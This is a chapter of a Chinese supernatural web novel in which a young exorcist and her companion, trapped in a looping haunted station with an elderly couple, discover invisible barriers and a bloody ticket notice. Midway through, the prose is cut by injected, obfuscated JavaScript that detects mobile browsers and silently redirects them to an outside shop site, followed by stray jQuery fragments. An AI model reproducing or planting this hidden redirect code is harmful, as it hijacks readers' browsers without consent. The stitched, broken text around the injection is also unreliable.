周至遥垂眸,只见刘师傅在地上哼唧着。
他旁边,蔡大婶正手忙脚乱爬起来,“造孽啊!我这老胳膊老腿儿啊!”
借着地上手电筒的光,郑远非愣了两秒才认出他们。
两个老人的情况不比他们好到哪里。
刘师傅裤子膝盖上之前磨破的洞更大了,蔡大婶的头发也散了半边,一缕灰白的碎发挂在耳朵前头。
“你们——”郑远非打算寒暄,却不知说什么好,话在口中转悠了好几圈才道,“你们腿脚真够快的。”
周至遥捡起手电,手腕一转,光束往后扫。
木质座椅横七竖八,窗玻璃碎了大半,铁门锈得连把手都没了。
又回到废弃的白山老站了。得,白跑一趟。
周至遥在心里骂了一声,脸上倒没什么表情。
“你们那边什么情况?”她把电筒光往蔡大婶脚边一压,语气不咸不淡。
蔡大婶没应声。
周至遥抬眼看她,才发现蔡大婶正直勾勾地盯着自己,那眼神像在看鬼。
她嘴唇哆嗦了两下,从嗓子里挤出一句变了调的尖声:“你们、你们上了那辆火车?!”
她这一嗓子把旁边的刘师傅也激着了。
刘师傅曲着伤腿挪了挪身子,脸上变颜变色的,目光在周至遥和郑远非之间来回扫了两趟。
半晌,他才憋出一句:“你们……还是活人吗?”
周至遥撇撇嘴,懒得回答这种没有营养的问题,视线在两人身上各停了半秒。
“你们不是要去村子里吗,”她直接把话头岔开,“怎么回到车站了?”
郑远非觉得她在明知故问。鬼打墙的事在火车上她就说过了,何必再问一遍?
他正要开口替两个老人解释,腰侧被周至遥戳了一下。
郑远非话到嘴边,硬生生咽了下去。尽管满腹狐疑,他还是选择闭嘴。
刘师傅倒没有注意到这个小动作。
他用手电照照周至遥,又照照郑远非,见他们都有影子,便打消了怀疑。
他叹了口气,把鬼打墙的事说了一遍:
“我们一直走一直走,怎么走都回到原点。而且,能走的路越来越窄,像有什么东西把我们往回赶。我们没别的法子,只能回来。”
周至遥晃着手电筒查看四周,光束在破败的墙壁上一寸一寸跳跃。
她自己的脸隐在黑暗里,什么表情都看不清。
刘师傅话音刚落,她看向郑远非,道:“我本以为出站口是执境的边界,可惜不是。”
现在,她彻底摸清了车站执境的结构:
走出候车厅就会遇见鬼火车。
不上车会被鬼打墙困死,上车则会被拉到那座诡异的现代站台上。
而站台的出站口,又通回了这座候车厅。
就像莫比乌斯环,各处相连,没有尽头,也没有边界。
直到此时,周至遥才真正觉得事态棘手了。
之前她想的是,大不了燃命,强行破开执境。
这法子虽然伤身,好歹是条退路。可有个前提:执境得是个线性结构,有边有界。
现在倒好,执境是个闭环,压根没有边界,她想拼命都找不着地方,像一拳打在棉花上。
她眉头拧了起来,手指无意识地摩挲着袖口的线头。
蔡大婶听得一头雾水,看看刘师傅,又看看郑远非,终于没忍住:“啥执境?啥环?你们说点人话行不?”
刘师傅也满脸问号,但他没好意思追问,只是拿眼神往郑远非那边瞟,指望他能给翻译翻译。
郑远非张了张嘴。
这事要从哪儿说起?鬼火车?纸人?阴阳眼?
他发现,不管从哪儿起头,蔡大婶都会觉得他在胡说八道。
于是他嘴张了半天,又合上了。
几个人大眼瞪小眼,候车厅里安静了好几秒,最后所有的目光都慢慢汇到了周至遥身上。
周至遥则一一回敬。
蔡大婶,刘师傅,郑远非。
三张脸,长得不一样但表情差不多。茫然,紧张,等她拿主意。
看起来没什么不对劲的。
可她总觉得哪里不对。
说不上来,就像鞋里进了颗小石子,每走一步都膈应。
她说不清那颗“石子”是什么,只能暂且把它压在舌根底下。
作为一个法学生,做什么事都要讲证据的,总不能空口白牙污蔑人。
她将注意力拽回现实。不管怎么着,先走出这破执境再说。
她摊开双手,“现在就剩一种打法了。”
郑远非明白她的意思,但没抢话,等她往下说。
“回车上,破解纸人真正的执念。”周至遥说完自己都想笑。
他们刚从车上跑下来,喘都没喘匀,又得乖乖回去,这叫什么事儿。
郑远非没笑。
他向来有自知之明,自己就是个抱大腿的,周至遥让他往东,他绝不往西。
他转身打算原路返回,走到闸机前伸手一推,两扇闸翼纹丝不动。
“这儿是出站口。”周至遥说。
刚才从通道跑出来是顺向,闸门自动感应,现在想回去就是逆行了。
她迈开腿,打算直接跨过去。
刚探过半个身子,却撞上了一堵看不见的墙,整个人弹了回来,踉跄两步才站稳。
周至遥伸手往前探了探,掌心贴上一层阻隔,像摸在玻璃上,眼前却空无一物。
“空气墙,”她甩了甩手,“这执境的规则还挺严密,出站口就只能出站。”
“那我们得找进站口了。”郑远非看向刘师傅,示意他带路。
刘师傅伸着脖子往通道里看,里面还在鬼哭狼嚎,听得人脊背发寒。
他脸一黑,脚下像生了根,“你们要去那鬼地方就自己去!我们可受够了!”
周至遥冷笑,“你以为候车厅就不是鬼地方了?早点出去对大家都好,你想一直困在这儿吗?”
刘师傅嘴唇动了动,没接上话。
蔡大婶碰了碰他的胳膊打圆场,“还是听他们的吧。这女子怕是……”
刘师傅哼了一声,晃着手电筒往前挪。
郑远非迈步要跟,被周至遥扯住。“你断后。”她低声说。
车站很小,没走几步他们就摸到进站口。
这边的情况和出站口大不相同。
出站口是现代的自动门,这边却只有两根横杆,锈迹斑斑,明明在同一个候车厅,却像身处两个世界。
周至遥只在电影里见过这种老式闸机。
她伸手推了推横杆,手掌刚碰到,便触到了那层熟悉的阻隔。
“这边也有空气墙。”她收回手,语气倒不意外。
蔡大婶脑子转了转,有点跟上他们的思路了。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17721970|208709||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
她看看横杆,又看看周至遥,“按你们说的那个什么、规则,咱们是不是得买票才能进去?”
刘师傅从头到尾都没整明白这俩年轻人在折腾啥,但“买票”两个字他听懂了。
他往北边一指:“售票处在那边。可这都啥年月了,哪还有售票员?”
“先过去看看。”周至遥把郑远非往前一推,示意他打头,自己跟在后面往北找去。
没走多远就看见了售票窗口。
木质的窗框朽得不成样子,边角被虫蛀出一排小洞,玻璃上蒙着厚厚的灰,里头黑漆漆的什么也瞧不清。
台面上蛛网密布,一只死虫子干巴地挂在网丝上。
窗口玻璃上糊着一张旧纸,纸上写着几个猩红大字,那红墨还没干透,正顺着笔画往下淌,拖着长长的尾巴,乍一看像字在流血。
郑远非凑近了些,一字一顿念出来:
“本站车票,五元宝一张。一人一票,凭票进站。”
“奇怪啊,谁贴的告示?”刘师傅在后面踮着脚往窗口里张望,“我记得以前没这东西啊。”
话音刚落,蔡大婶先听不下去了。她白了自家男人一眼,伸手在他胳膊上拧了一把:
“我怎么摊上你这么个蠢老爷们儿!这地方早就不对劲了,贴张告示算个啥?”
刘师傅被她拧得往后一缩,嘴里还想争辩,被蔡大婶一眼瞪了回去。
周至遥深深吸了口气,越过跟前还在揉胳膊的刘师傅,直接看向蔡大婶:“大婶,你们这儿有金箔纸吗?”
她行李箱里法器带了不少,朱砂、符纸、铜钱剑一应俱全,可偏偏没带殡葬用的东西。
出门在外,自然一切从简。她本以为有足够的火力对付几只孤魂野鬼就够,谁承想一上来就撞上个这么大的。
早知道出发前就算一卦了。可惜她最不擅长的就是卜算,真算了也大概率白搭。
“师父要是在就好了。”她心想。师父算的卦最准,跟开了天眼似的,什么凶吉都瞒不过。
蔡大婶拧着眉头想了一会儿,忽然一拍大腿:“卧室里好像有!要不过去找找?”
这正合周至遥的意。
她点了点头,话锋一转,“是那个小屋吧。我们出来的时候,里面还剩了两个纸人没处理。”
她顿了顿,补了一句,“那纸人的样子……你们看了可能会不舒服。要不这样,我们先过去把纸人烧了,你们再进去找金纸。”
蔡大婶哪有不同意的道理,连连点头。刘师傅更是把手一甩,全听老伴的,一句多余的话都没有。
几个人相跟着回到了侧边小屋的门口。
蔡大婶和刘师傅依言在门外等着,周至遥推着郑远非进了屋,反手把门带上。
门合上的那一刻,她抬起手指戳了戳郑远非的后背,打算把自己的推测和盘托出。
蔡大婶也好,刘师傅也好,她心里的疙瘩越积越大,总得有个人知道她是怎么想的。
郑远非虽然没法力,可脑子不笨,万一她的怀疑属实,至少有个人打商量。
郑远非被她戳得回过头来。
他看着她,忽然笑了一下,没来由地冒出一句:“周至遥,你真善良。”
周至遥的动作顿住了。
他的笑容深达眼底,不是客套,是真心这么觉得。
她盯着他那双眼睛看了两秒,然后把自己原本要说的话咽了回去。